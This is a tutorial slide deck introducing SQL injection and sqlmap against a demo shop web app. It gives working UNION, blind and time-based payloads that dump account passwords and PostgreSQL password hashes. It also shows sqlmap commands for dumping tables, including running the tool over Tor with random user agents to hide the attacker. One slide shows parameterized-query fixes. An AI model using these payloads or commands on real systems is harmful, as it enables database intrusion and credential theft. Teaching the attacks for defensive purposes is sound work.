SQL injection and SQLMap Introduction

SQL injection
2016/03/28
Billy Yang

http://xxx.xxx.xxx.xxx:5000/good?
id=1
{"available": 200, "price": 19, "name": "Easton E100P Bat Pack"}
2/32

id=????????
{"available": 200, "price": 19, "name": “PASSWORD!!”}
3/32

If the result of injection is visible
UNION is nice tool
4/32

How many columns?
id=1 ORDER BY 5
Internal Server Error
The server encountered an internal error and was unable to
complete your request. Either the server is overloaded or there
is an error in the application.
5/32

Replace with fake record
id=1 UNION SELECT 0,’1’,2,3 ORDER BY 1
{"available": 3, "price": 2, "name": "1"}
6/32

id=1 UNION
SELECT 0,current_database(),2,3 ORDER BY 1
{"available": 3, "price": 2, "name": "shopdb"}
7/32

List Table Name
id=1 UNION
SELECT 0,string_agg(table_name,’,’),2,3
FROM information_schema.tables
WHERE table_schema = ‘public’
GROUP BY table_schema
ORDER BY 1
{"available": 3, "price": 2, "name": “goods,account,…”}
8/32

List Column Name
id=1 UNION
SELECT 0,string_agg(column_name,’,’),2,3
FROM information_schema.columns
WHERE table_name = ‘account’
GROUP BY table_name
ORDER BY 1
{"available": 3, "price": 2, "name": “username,password,…”}
9/32

Crack Account Password
id=1 UNION
SELECT 0,password,2,3
FROM account
LIMIT 1
{"available": 3, "price": 2, "name": “1234567”}
10/32

Can hacker get more
information?
11/32

id=1 UNION
SELECT 0,version(),2,3 ORDER BY 1
{"available": 3, "price": 2,
"name": "PostgreSQL 9.4.1 on x86_64-unknown-linux-gnu,
compiled by gcc (Ubuntu 4.9.2-10ubuntu5) 4.9.2, 64-bit"}
12/32

id=1 UNION
SELECT 0,username,2,3 FROM pg_user
WHERE usesuper IS TRUE
{"available": 3, "price": 2, "name": "postgres"}
13/32

id=1 UNION
SELECT 0,passwd,2,3 FROM pg_shadow
WHERE username = ‘postgres’
{"available": 3, "price": 2, "name":
“md5ae50feb746fdbd2e7dc1b8d001555471"}
14/32

Unfortunately, when we cannot
get result of injection….
15/32

Blind SQL injection
If the vulnerable website just cover the
error message, but the response still has
different.
16/32

http://xxx.xxx.xxx.xxx:5000/good?id=1' AND TRUE --
http://xxx.xxx.xxx.xxx:5000/good?id=1' AND FALSE --
{"available": 0, “price": 0, "name": ""}
17/32

http://xxx.xxx.xxx.xxx:5000/good?id=1'
AND
(SELECT LENGTH(username) FROM account LIMIT 1)>7
--
18/32

AND
(SELECT SUBSTRING(username FROM 1 FOR 1)
FROM account LIMIT 1)
= ‘l’ --
19/32

Time Based
Blind SQL injection
If the vulnerable website not only cover
the error message, but the response also
is same…
20/32

Stacked queries
http://xxx.xxx.xxx.xxx:5000/good?id=';
SELECT pg_sleep(3);
SELECT ‘’,’’,1,1 WHERE ‘’=‘
{"available": 1, "price": 1, "name": ""}
21/32

AND
(SELECT pg_sleep(3) FROM account
WHERE SUBSTRING(username FROM 1 FOR 1) = ‘l’)
IS NOT NULL
--
22/32

Use Placeholder
sql = 'select * from goods where id = {}’.format(_id)
engine.execute(sql).ﬁrst()
sql = text('select * from goods where id = :id')
engine.execute(sql, id=_id).ﬁrst()
Bad sample
Good sample
23/32

Use Placeholder
select * from goods where id = 1;
prepare good_select as select * from goods where id = $1;
execute good_select(1);
Bad sample
Good sample
24/32

SQLMap
Have tool helps us play blind
SQL injection automatically?
25/32

python sqlmap.py -u ‘http://xxx.xxx.xxx.xxx:5000/good?id=1'
26/32

--dbs
-D public --tables
-D public -T account --columns
27/32

-D public -T account --dump
--users
28/32

--banner
--technique=BEUSTQ
--level=1,2,3,4,5
GET and POST parameters are always tested,
HTTP Cookie header values are tested from level 2
HTTP User-Agent/Referer headers' value is tested from level 3.
--risk=1,2,3,4
The default value is 1 which is innocuous for the majority of SQL
injection points. Risk value 2 adds to the default level the tests for
heavy query time-based SQL injections and value 3 adds also OR-
based SQL injection tests.
--second-order=visible_page_url
Injection Conﬁguration
29/32

python sqlmap.py
--tor
--tor-type=HTTP,HTTPS,SOCK4,SOCKS5
--tor-port=9050
--check-tor
--random-agent
--time-sec=10
Network Setting
30/32

Reference
• Google Dorks List
• DEFCON 17 - Advanced SQL Injection
• pentestmonkey - Postgres SQL Injection Cheat Sheet
• OWASP - SQL Injection Prevention Cheat Sheet
31/32

SQL injection and SQLMap Introduction

More Related Content

Similar to SQL injection and SQLMap Introduction

Recently uploaded

SQL injection and SQLMap Introduction